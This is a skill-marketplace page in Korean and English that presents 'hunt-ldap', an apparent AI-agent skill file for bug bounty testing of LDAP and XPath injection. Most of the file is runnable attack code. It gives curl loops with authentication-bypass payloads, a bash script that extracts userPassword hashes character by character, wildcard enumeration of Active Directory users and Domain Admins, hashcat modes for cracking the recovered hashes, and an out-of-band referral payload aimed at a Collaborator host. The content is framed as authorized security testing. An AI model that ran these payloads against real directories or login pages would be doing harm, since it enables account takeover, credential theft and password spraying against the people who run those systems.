본문으로 건너뛰기
cccskills
무료GitHub에 공개

hunt-ldap

Investigate LDAP and XPath injection in directory searches and XML-backed authentication. The skill guides checks for login bypasses and information leaks, uses control responses to reduce false positives, and distinguishes Active Directory from other LDAP directories.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

원문원문 설명 보기

Hunt LDAP Injection and XPath Injection — authentication bypass, blind char-by-char attribute exfiltration, AD user/group enumeration, XML-store XPath bypass. Covers the LDAP special-character set (* ( ) \ NUL /), search-filter-context vs DN-injection, parenthesis-balancing, AND/OR filter logic, and {SSHA}/{CRYPT} userPassword exfil on non-AD directories. Use when target uses LDAP/AD authentication, corporate SSO with a directory backend, an address-book/people-search API, or XML-based data stores queried with XPath.

설치 방법 보기

이럴 때 유용합니다

  • Reviewing directory-backed corporate login
  • Testing employee and address-book searches
  • Checking authentication backed by XML data
  • Validating suspected attribute leaks

포함된 파일(1)

  • SKILL.md15.0 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

HUNT-LDAP — LDAP Injection & XPath Injection

Grounding note: LDAP injection is rarely disclosed with verbatim payloads on public platforms (most live on internal-pentest reports). This skill is grounded in the OWASP LDAP Injection Prevention / Testing Guide (WSTG-INPV-06), PortSwigger Web Security Academy (LDAP injection), and the RFC 4515 filter grammar — all publicly verifiable references rather than invented HackerOne IDs. Do not cite a report you cannot link.

Crown Jewel Targets

LDAP injection that bypasses authentication = Critical. Blind attribute exfiltration of credentials/secrets = High. AD enumeration alone = Medium-High.

Highest-value chains:

  • LDAP auth bypass — close the uid filter and append an always-true OR so the bind/search returns the admin entry without a valid password.
  • Blind attribute exfil — char-by-char extraction of an attribute value via a boolean oracle (login success/failure, result count, or response length).
  • userPassword hash exfil (non-AD only) — on OpenLDAP/389-DS the userPassword attribute can hold {SSHA}/{CRYPT} hashes that ARE readable by query. See the AD-vs-generic warning below.
  • XPath injection auth bypass — ' or '1'='1 against XML-backed auth.

CRITICAL — Active Directory vs generic LDAP

Do not conflate the two. They behave very differently:

Generic LDAP (OpenLDAP, 389-DS, ApacheDS)Active Directory
Password attributeuserPassword — may hold {SSHA}/{MD5}/{CRYPT} and is readable if ACL allowsunicodePwd — write-only, never returned by any search
Hash exfil via injectionPossible where ACLs leak userPasswordNot possible — there is no readable hash attribute over LDAP
Useful enum attrsuid, cn, mail, userPasswordsAMAccountName, userPrincipalName, mail, memberOf, description (often holds plaintext secrets!)

Do not tell a reader that blind LDAP injection yields AD password hashes — it does not. unicodePwd is write-only. Against AD, the win is enumeration (sAMAccountName, memberOf, description/info fields that admins misuse to store passwords) and auth bypass — not hash dumping. The hash-exfil technique applies only to non-AD directories exposing userPassword.


Attack Surface Signals

Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/*  /api/directory/*  /people  /address-book  /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
  javax.naming.NameNotFoundException
  javax.naming.directory.InvalidSearchFilterException
  LDAP: error code 49 - 80090308  (AD invalid creds / bind failure)
  com.sun.jndi.ldap.*  /  System.DirectoryServices  /  ldap_search():
  "Bad search filter"  /  net.ldap (Go)  /  python-ldap SERVER_DOWN

LDAP filter grammar (RFC 4515) — why injection works

A login filter is typically built by string-concat:

(&(uid=<USERNAME>)(userPassword=<PASSWORD>))

& = AND, | = OR, ! = NOT. Filters are prefix/Polish notation — the operator comes first and every sub-filter is parenthesised. To inject you must (a) escape the current (uid=...) group, (b) inject your own logic, and (c) leave the overall parenthesis count balanced or the server throws a filter-syntax error instead of executing.

The special-character set — TEST EACH ONE

These characters are syntactically meaningful and MUST be escaped by a safe app (RFC 4515 §3). If the app reflects an error or behaves differently when you send them raw, the input is unescaped → injectable:

CharFilter escapeWhy it matters
*\2awildcard — matches any value
(\28opens a filter group
)\29closes a filter group
\\5cescape char itself
NUL\00string terminator — truncates filter in C-backed servers
/(DN context)RDN separator — relevant for DN injection

Search-filter context vs DN injection are different bugs:

  • Search-filter injection (most common): your input lands inside a (attr=VALUE) filter. Payloads use * ( ) & | !.
  • DN injection: your input is concatenated into a Distinguished Name (uid=VALUE,ou=people,dc=corp). Here , = + " \ < > ; and / matter, and a * is NOT a wildcard. Test both — the payloads do not transfer.

Step-by-Step Hunting Methodology

Phase 1 — Confirm an LDAP backend (baseline first)

# ALWAYS capture a control response first — you compare everything to this.
BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
  -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"validlookinguser","password":"wrongpass"}')
echo "BASELINE (valid-format, wrong pw): $BASE"

# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
# An INJECTABLE app → 500 / filter-syntax error / different size.
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"test)","password":"x"}' | grep -iE \
  "naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"

A lone ) that produces a syntax error/500 while a balanced payload does not is the cleanest LDAP-injection tell — note it, you will need it as proof.

Phase 2 — Auth-bypass payloads (balance your parentheses)

# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
# Goal: make the uid sub-filter always-true and neutralise the password clause.

# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
#   username = *)(uid=*))(|(uid=*    password = anything
# Always-true admin (OR uid=*):
#   username = admin)(|(uid=*)       (note: leaves one extra ')' — see below)
# NUL-truncate the password clause (C-backed servers):
#   username = admin)(uid=*))%00      password = x

USERNAME_PAYLOADS=(
  'admin))(|(uid=*'        # close uid + close &, open OR uid=* — balance check below
  '*)(uid=*))(|(uid=*'     # full always-true, self-balancing classic
  'admin)(!(userPassword=ZZZ))'  # AND NOT a password that is never set → always true
  'admin*'                 # simple wildcard suffix — try first, lowest noise
)

for P in "${USERNAME_PAYLOADS[@]}"; do
  R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
  echo "PAYLOAD: $P"
  echo "RESP:    ${R: -40}"
  echo "BASE:    $BASE   <-- compare http_code+size to rule out false positive"
  echo "---"
done

Parenthesis-balancing rule of thumb: count ( minus ) in the resulting full filter, not just your payload. If the app appends )(userPassword=...)) after your input, leave the right number of trailing ) so the final string is balanced. An unbalanced filter = syntax error = NOT a bypass (false positive).

Phase 3 — Blind exfil with a CONTROLLED oracle (not raw byte-count)

Raw size_download diffing is noise-prone (WAF banners, CSRF tokens, timestamps, length-jitter on the injected char itself). Use a paired true/false control so the oracle is the response, not the absolute size.

# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
# TRUE : admin)(uid=*))(|(uid=*     -> entry exists
# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
probe () {  # $1 = filter-tail payload -> prints normalized size
  curl -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"$1\",\"password\":\"x\"}"
}
T=$(probe 'admin)(uid=*))(|(uid=*')
F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
echo "TRUE-class size=$T  FALSE-class size=$F"
[ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }

# Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
# Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*))  on a NON-AD directory.
PREFIX=""
for pos in $(seq 1 32); do
  for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
    S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
    if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
  done
done
echo "RECOVERED: $PREFIX"

False-positive guards for blind exfil:

  • Repeat each positive char 3x and confirm the size is stable — length-jitter from the attacker-controlled char itself is the #1 false positive.
  • Confirm the FALSE control still returns the FALSE size after each round (the app didn't just start erroring on every request — WAF block looks like a match).
  • If body length is unreliable, switch the oracle to HTTP status, a body marker string ("Invalid credentials" present/absent), or timing with a heavy filter — but only after establishing a stable baseline delta.

Phase 4 — XPath injection (XML-backed auth)

# Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']
# Bypass closes the name predicate and OR-trues the whole expression.
XPATH_PAYLOADS=(
  "' or '1'='1"
  "' or ''='"
  "admin' or '1'='1' or 'a'='b"     # keeps quoting balanced
  "x'] | //user/* | //user[name()='x"  # blind: dump all user nodes (XPath has no comments)
  "*[contains(name(),'pass')]"          # node-name discovery
)
for P in "${XPATH_PAYLOADS[@]}"; do
  E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P")
  R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
    --data-urlencode "username=$P" --data-urlencode "password=x")
  echo "$P  ->  ${R: -24}"
done
# XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.

Phase 5 — AD enumeration via wildcard (count oracle, with control)

# Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.
# A directory that returns the SAME count for both is NOT leaking via wildcard.
count () { curl -s -X POST https://$TARGET/api/directory/search \
  -H "Content-Type: application/json" -d "{\"filter\":\"(sAMAccountName=$1*)\"}" \
  | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; }
CTRL=$(count "zzqx_unlikely")
echo "control count (should be ~0): $CTRL"
for L in {a..z}; do echo "$L* -> $(count $L)  (vs control $CTRL)"; done
# Then pivot to memberOf / description for privileged accounts:
#   (&(sAMAccountName=*)(memberOf=*Domain Admins*))
#   (description=*pw*)   (description=*pass*)   — admins stash secrets here

Phase 6 — Tooling & OOB confirmation

# Validate the inferred filter directly if you ever get LDAP creds / a bind:
ldapsearch -x -H ldap://$AD_HOST -D "CORP\\user" -w "$PW" \
  -b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf

# Burp: Intruder over the char set for blind exfil; the Web Security Academy
# "Blind LDAP injection" labs mirror the Phase-3 oracle exactly.
# OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can
# inject a referral/URL the server dereferences, point it at Collaborator:
#   (uid=*))(referral=ldap://<COLLAB>/x)   — a DNS/LDAP hit at Collaborator
# is server-side proof with zero ambiguity. Treat any Collaborator interaction
# as the gold-standard confirmation for otherwise-blind cases.

Chain Table

LDAP findingChain toImpact
Auth-bypass (always-true filter)Admin/SSO panel as first directory entryCritical
AD enumeration (sAMAccountName)Username list → password spray / credential stuffingMass-ATO risk
memberOf enumerationIdentify Domain Admins → targeted phishing/sprayTargeted compromise
description/info field readPlaintext creds admins stashed thereDirect credential leak
Blind exfil of userPassword (non-AD only){SSHA} (salted SHA-1) → hashcat -m 111 ({SSHA256}=1411, {SSHA512}=1711); {CRYPT} → mode depends on the $id$ prefix ($1$=500, $6$=1800) → offline crackHigh
LDAP referral → CollaboratorServer-side request / internal directory reachSSRF-class, confirms blind

AD has no readable password attribute — do not list "extract AD hashes" as a chain. Against AD, the credential win comes from description/info misuse or from enumerated usernames feeding a spray, never from unicodePwd.


Validation — rule out the false positive BEFORE you report

A "bypass" or "match" is only real once you have eliminated syntax-error, WAF-block, and length-jitter explanations.

  • Auth bypass: the always-true payload returns a valid authenticated session (session cookie + access to a post-login resource), and the same request with one paren removed returns a filter-syntax error — proving the filter parsed and executed, not that the app fell open on every input.
  • Negative control: an equivalently-shaped but logically-FALSE payload ()(uid=NONEXISTENT_ZZZ)) returns the failure response. If both true-class and false-class "succeed", you found a broken endpoint, not LDAP injection.
  • Blind exfil: each recovered char reproduces 3x with stable size; the FALSE control still reads FALSE between rounds; recovered value verified by a direct lookup or by the auth-bypass payload that uses it.
  • XPath: quotes/brackets remained balanced (no 500), and the bypass logged in to a real account context — not just a different error page.
  • OOB where possible: a Collaborator DNS/LDAP interaction from a referral payload is decisive for blind cases — prefer it over length-only inference.
  • AD claim discipline: if you say "AD", you enumerated AD-specific attrs (sAMAccountName/memberOf); never claim AD hash exfil.

Severity:

  • Auth bypass landing as admin/privileged directory entry: Critical
  • userPassword hash exfil (non-AD) or description-field credential read: High
  • AD user/group enumeration only: Medium-High
  • Blind boolean oracle confirmed but no useful attribute reachable: Medium

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Inspect Android apps for embedded credentials, internal API addresses, and components exposed to other apps. The skill guides APK acquisition, code inspection, and runtime traffic analysis to support a mobile security assessment.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Inventory Android apps included in a security assessment
  • Check APKs for embedded credentials and internal API addresses
  • Review components that other apps can invoke
elementalsouls/Claude-BugHunter5.2천2026년 10월 21일 업데이트

Guide bug bounty work from asset discovery to validation and reporting, while resolving local locations of security tools, wordlists, and cloned projects. It covers web and AI security testing with an emphasis on demonstrated impact.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Locate installed security tools and wordlists
  • Plan reconnaissance within a program's scope
  • Investigate related weaknesses and their combined impact
elementalsouls/Claude-BugHunter5.2천2026년 10월 21일 업데이트

Organize a bug bounty investigation from reconnaissance through reporting. The skill helps choose a focused objective, identify the current phase, select relevant techniques and tools, and distinguish reproducible security impact from misleading test results.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Setting objectives at the start of an investigation
  • Choosing the next step when testing stalls
  • Replanning after switching targets
elementalsouls/Claude-BugHunter5.2천2026년 10월 21일 업데이트

Guide bug bounty work from checking authorized scope and discovering assets to testing web and AI features. Validate practical impact, investigate related weaknesses, and organize reproducible evidence into a vulnerability report.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Planning research for a new bug bounty target
  • Reviewing source code for security weaknesses
  • Testing chatbot and AI feature security
elementalsouls/Claude-BugHunter5.2천2026년 10월 21일 업데이트

Prepare Bugcrowd submissions with accurate vulnerability categories, evidence-based severity requests, and explanations of program scope. Structure references between related reports, document QA testing conditions, and draft responses when a finding is downgraded or considered out of scope.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Choose a suitable Bugcrowd vulnerability category
  • Explain a severity request using demonstrated impact
  • Respond to out-of-scope decisions
elementalsouls/Claude-BugHunter5.2천2026년 10월 21일 업데이트

Assess what discovered cloud credentials allow across AWS, Azure, GCP, and Kubernetes. The skill guides identity checks, permission review, and paths to higher privileges, then helps document impact, activity, and cleanup within the engagement's agreed scope.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Assess permissions granted by discovered cloud credentials
  • Review role trust and access across cloud accounts
  • Check permissions assigned to anonymous Cognito identities
elementalsouls/Claude-BugHunter5.2천2026년 10월 21일 업데이트

elementalsouls의 스킬 모두 보기

이 스킬의 문제 신고